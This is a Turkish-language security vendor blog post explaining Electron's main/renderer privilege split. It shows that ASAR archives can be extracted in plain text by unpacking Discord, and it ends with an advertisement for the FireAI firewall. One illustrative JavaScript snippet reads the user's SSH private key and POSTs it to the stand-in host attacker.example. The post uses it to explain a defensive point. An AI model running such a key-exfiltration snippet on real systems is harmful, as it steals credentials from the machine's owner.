FireAI Güvenlik Blogu

Yazan FireAI Security & Research Team · Yayınlandı

Aslında Electron Uygulamalarınızın İçinde Ne Var? Bulmak için Birini Çıkardık

Aslında Electron Uygulamalarınızın İçinde Ne Var? Bulmak için Birini Çıkardık

Electron, Chromium oluşturma motorunu Node.js çalışma zamanı ile birleştirerek tek bir JavaScript kod tabanının macOS, Windows ve Linux'ta masaüstü uygulaması olarak gönderilebilmesini sağlar. Slack, Discord, Notion ve daha birçokları bu şekilde oluşturuldu ve Microsoft Teams de yıllarca öyleydi. Kolaylık gerçektir. Anlamaya değer bir sonuç da bu: Bir Electron uygulaması tek bir ayrıcalık düzeyine sahip tek bir süreç değildir ve paket halindeki kaynağının okunması zor değildir.

İki süreç, iki ayrıcalık düzeyi

Her Electron uygulamasında, normal işletim sistemi düzeyinde dosya ve ağ erişimiyle tam Node.js'yi çalıştıran bir Ana işlem ve web içeriğini Chromium bağlamında görüntüleyen bir veya daha fazla Oluşturucu işlemi bulunur. Electron'un kendi güvenlik belgeleri'si bu çizgiyi bulanıklaştırma riski konusunda açık bir şekilde konuşuyor: "Uzak içeriği yükleyen herhangi bir oluşturucuda Node.js entegrasyonunu etkinleştirmemeniz çok önemlidir" çünkü bunu yapmak, bir web sayfası ile işletim sistemi arasındaki engeli ortadan kaldırır. Belirtilen düzeltmesi "bunun yerine içeriğe güvenin" değil, mimaridir: Düğüm erişimini oluşturucunun dışında tutun ve bağlam yalıtımı açıkken bir ön yükleme komut dosyası ve contextBridge API aracılığıyla ona yalnızca kasıtlı olarak dar bir API gösterin.

Açıklayıcı: Güvenliği ihlal edilmiş bir oluşturucudaki Düğüm entegrasyonunun yapabilecekleri
// If nodeIntegration were on and an attacker's script ran in this renderer:
const fs = require('fs')
const https = require('https')

const key = fs.readFileSync(`${process.env.HOME}/.ssh/id_rsa`, 'utf8')
const req = https.request({ hostname: 'attacker.example', path: '/collect', method: 'POST' })
req.end(key)

Arşiv bir sır değil: gerçek bir uygulamanın çıkarılması

Çoğu Electron uygulaması, JavaScript ve HTML'lerini bir app.asar dosyası içinde gönderir. Electron'un kendi dokümanları bu formatın ne işe yaradığı konusunda doğrudan bilgi veriyor: "arşivler salt okunurdur" ve bir dosyada bir araya getirilmesi "kaynak kodunuzu üstünkörü incelemeden gizlemek" anlamına gelir - dışarıdan gelen bir iddia değil, kendi ifadesi - ve başka bir yerde ASAR'ın şifreleme sağlamadığını açıkça belirtir. Bunun pratikte ne anlama geldiğini kontrol etmek için, Electron'un kendi bakımlı paketleyicisini kullanarak bu makinede Discord'un gerçek, şu anda yüklü olan kopyasını (derleme 0.0.294) bu makineye çıkardık.

terminal
npm install -g @electron/asar
asar extract "/Applications/Discord.app/Contents/Resources/app.asar" ./discord_src
find ./discord_src -type f | wc -l
1056

Bir komut 1.056 düz dosya üretti: okunabilir JavaScript, package.json ve Discord'un kendi modül düzeni, tam da Electron'un belgelerinde belirtildiği gibi. Derleme yok, tersine mühendislik yok, şifre yok. Bu Discord'da bir kusur değil; ASAR formatı, tasarım gereği her Electron uygulaması için bu şekilde çalışır.

Ağ davranışı hakkında gerçek bir alıntı ne gösteriyor?

Kaynağın düz metin olmasıyla hem güvenlik incelemesi hem de arama önemsiz hale gelir. Çıkarılan dosyaları iki şey için aradık: Discord'un gerçekte hangi webPreferences'ı ayarladığı ve hangi ana makine adlarının kendi kodunda göründüğü (üçüncü taraf node_modules hariç).

Terminal, yukarıdaki gerçek alıntıdan elde edilen sonuçlar
grep -rn "nodeIntegration\|contextIsolation" --exclude-dir=node_modules .
app_bootstrap/splashScreen.js:376:      nodeIntegration: false,
app_bootstrap/splashScreen.js:379:      contextIsolation: true,

grep -rhoE "https?://[A-Za-z0-9._-]+\.[A-Za-z]{2,}" --exclude-dir=node_modules . | sed -E 's#https?://##' | sort | uniq -c | sort -rn | head
  12 www.w3.org
   3 twitter.com
   3 discord.com
   2 github.com
   1 updates.discord.com
   1 reactjs.org

Test ettiğimiz spesifik uygulamaya adil davranmak gerekirse: Discord'un açılış ekranı penceresi, Electron'un sertleştirme tavsiyelerine tam olarak uyuyor: nodeIntegration: false ve contextIsolation: true. Bunu atlamak yerine açıkça belirtmekte yarar var. Bunun vurguladığı nokta Discord'un güvensiz olduğu değil; arşiv formatı hiçbir şeyi gizli tutmadığı için herhangi bir Electron uygulamasını dakikalar içinde kontrol edebiliyoruz. Electron uygulamasını yükleyen çoğu kişi asla bakmaz ve çoğu statik uç nokta aracı da bakmaz.

İkili güven güvenlik duvarı neden burada yardımcı olamıyor?

Yukarıdaki ana bilgisayar adlarının hiçbiri bir sohbet uygulamasının ulaşması için gizli veya şaşırtıcı değildir ve ağ düzeyinde savunmanın sorunu da tam olarak budur. Kod imzasıyla karar veren bir güvenlik duvarı tek bir şey görür: 443 numaralı bağlantı noktasında sıradan HTTPS istekleri yapan noter tasdikli, Apple imzalı bir ikili program. Meşru bir API çağrısını, paketlenmiş bir analiz SDK'sını ve gerçekten güvenliği ihlal edilmiş bir oluşturucuda, birbirinden ayrı bir sızma girişimini bildirmenin hiçbir yolu yoktur. Üçü de internetle konuşan aynı güvenilir süreç gibi görünüyor çünkü bunlar aynı süreç.

  • Bir Electron uygulamasını kod imzasına göre değerlendirmek, paket halindeki bağımlılıklarından hangisinin hangi bağlantıları yaptığı hakkında hiçbir şey söylemez.
  • Kaynak, şifrelenmemiş bir arşivdeki düz JavaScript olduğundan, asar extract çalıştırmayı isteyen herkes için bir uygulamanın neye ulaşabileceğini denetlemek teorik değil gerçekçidir.
  • İkiliye güvenmeye bağlı olmayan tek kontrol, işlem başına, hedef başına ağ politikasıdır: belirli bir uygulamanın neye erişmesine izin verildiğine sokette karar vermek.

FireAI ve HisnLabs burada nereye oturuyor

A signed Electron binary and a hidden telemetry SDK inside it look identical to a firewall that only checks the code signature; FireAI checks the connection itself, per app, so you can see and deny what any of your Electron apps are actually reaching, not just trust that they are Apple-notarized.

FireAI, HisnLabs’in kendi ürünüdür: doğrudan Mac’inizde çalışan, yapay zekâ destekli bir güvenlik duvarı. Uygulamalarınızın kurduğu her bağlantıyı sade bir dille gösterir ve Mac’inizden neyin çıkacağına sizin karar vermenizi sağlar — yapay zekâsı yerel olarak çalışır, yani trafiğiniz asla bize ya da başka birine gönderilmez. HisnLabs güvenlik araştırma ekibi bu kararların isabetli kalmasını sağlayan ekiptir: hangi alan adlarının sıradan telemetri, hangilerinin gerçek bir hizmet olduğunu kataloglar, bir bağlantının ardındaki ülkeyi ve ağı izler ve cihaz üzerindeki modeli (Autopilot özelliği) gerçek trafik örüntüleriyle eğitir — üstelik bunların hiçbiri Mac’inizden dışarı çıkmadan.

Arkasındaki teknik kararları okuyabilir ya da FireAI’yi 17 gün boyunca deneyebilirsiniz: HisnLabs’ten FireAI.

Kaynaklar